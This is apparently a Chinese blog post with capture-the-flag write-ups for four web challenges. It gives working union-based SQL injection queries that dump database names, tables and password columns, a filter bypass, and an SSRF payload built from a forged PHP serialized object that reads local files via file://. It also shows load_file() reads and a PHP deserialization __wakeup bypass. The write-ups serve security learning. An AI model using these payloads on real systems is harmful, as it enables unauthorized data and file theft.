本篇内容
[网鼎杯 2018]Fakebook
[极客大挑战 2019]PHP
[极客大挑战 2019]Knife
[极客大挑战 2019]LoveSQL
[网鼎杯 2018]Fakebook
扫描后发现敏感文件robots.txt
和flag.php
文件,访问robots.txt得到/user.php.bak
源码备份,访问flag.php却没结果。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
//CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_exec():执行 cURL 会话
$output = curl_exec($ch);
//CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
//调用get()方法执行我们传入的blog,这里就存在着SSRF漏洞;
//之前我们访问flag.php没有结果,那我们在这里可以使用file文件协议访问flag.php,由服务器给我们执行再返回结果。
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
//blog里执行输入这些,输入其他的就会被过滤掉
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
先去注册一个用户并显示:
view.php?no=2 //回显不正常
view.php?no=2 or 1=1 //回显正常,说明存在注入点
开始尝试order by猜字段数
view.php?no=1 order by 5 //报错,[*] query error! (Unknown column '5' in 'order clause')
view.php?no=1 order by 4 //回显正常,说明有4个字段
开始爆库、爆表、爆列、爆字段
view.php?no=0 union select 1,2,3,4 //报错,no hack ~_~
view.php?no=0 union select 1,2,3,4 //回显正常,猜测过滤了“union select”,但是union和select都没有被过滤,中间弄成两个空格即可绕过。而且username处显示了数字2,说明此处就是回显位。
view.php?no=0 union select 1,database(),3,4 //爆出数据库“fakebook”
view.php?no=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() //爆出表名“users”
view.php?no=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' //爆出“no,username,passwd,data”
view.php?no=0 union select 1,data,3,4 from users //爆出“ O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";} ”
从O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}
可以看出表中存的是反序列化的结果,那我们自己构造反序列化结果传入,使用file协议读取flag.php。其余的不变,就是将s:13:"www.baidu.com";
改为s:29:"file:///var/www/html/flag.php";
即可,我偷懒不写程序来反序列化,因为反序列化的构成就是固定的s:内容长度:"内容";
。
那么最终payload:
view.php?no=0 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这里需要注意,union select 1,2,3,4
,写在第4个位置上是因为程序执行的是blog,写在之前的第2个位置上没用的。最终拿到flag。
方法二:
没有过滤load_file()方法,那么直接读就好了,payload:
view.php?no=0 union select 1,load_file('/var/www/html/flag.php'),3,4
[极客大挑战 2019]PHP
文字提示备份,懒得扫描,直接尝试一下最常见的几个备份名,发现www.zip
就成功下载到了备份文件。
代码审计一下
index.php
关键代码:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
class.php
代码:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) { //说明password为100
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') { //说明username为admin
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php
代码:
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
知识点:
__construct():实例化对象时被调用。
__wakeup():unserialize时被调用,先运行__wakeup()函数做些对象的初始化工作。
__wakeup()函数漏洞与对象的属性个数有关,如果序列化后的字符串中表示属性个数的数字与真实属性个数一致,那么就调用__wakeup()函数。
但是当属性个数的值大于真实属性个数时,会自动跳过__wakeup() 函数的执行。
__destruct():当删除一个对象或对象操作终止时被调用。
注意:私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。这里是因为username和password为私有字段。
那思路就很清晰了,先创建一个Name对象,username为admin,password为100,然后将之序列化。因为index.php里会自动将之反序列化的。
$test = new Name('admin',100);
print(serialize($test));
得到了O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
,
绕过__wakeup()
方法,当属性个数的值大于真实属性个数时就好,
修改为O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
,
考虑到username和password都为私有字段,需在类名和字段名前加\0
,
修改为O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
,
注意,若是写python上传的话就这样写就好了,但是懒得写python,想直接在浏览器上传,那就需要将\0
改为%00
,
修改为O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
。
尝试上传:
拿到最终flag。
[极客大挑战 2019]Knife
直接上蚁剑连接,在根路径下找到flag。
[极客大挑战 2019]LoveSQL
以下内容都是填在框中的,这里这么写只是为了方便表述。当然的,在hackbar下只需要将#改成%23即可。
username=1&password=123 //显示 NO,Wrong username password!!!
username=1'&password=123 //报错
username=1'#&password=123 //显示 NO,Wrong username password!!!
username=1' or 1=1#&password=123 //显示 Login Success!Hello admin!Your password is 'xxx'
开始尝试order by猜字段数
username=1' order by 4#&password=123 //显示 Unknown column '4' in 'order clause'
username=1' order by 3#&password=123 //显示 NO,Wrong username password,说明有3个字段
开始爆库、爆表、爆列、爆字段
username=1' union select 1,2,3#&password=123 //显示 Hello 2!Your password is '3',这里表明有2,3两个回显位
username=1' union select 1,database(),3#&password=123 //得到库名“geek”
username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=123 //得到表名“geekuser,l0ve1ysq1”
username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#&password=123 //得到列名“id,username,password”
username=1' union select 1,group_concat(password),3 from l0ve1ysq1#&password=123 //得到flag
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/105411903
========================================================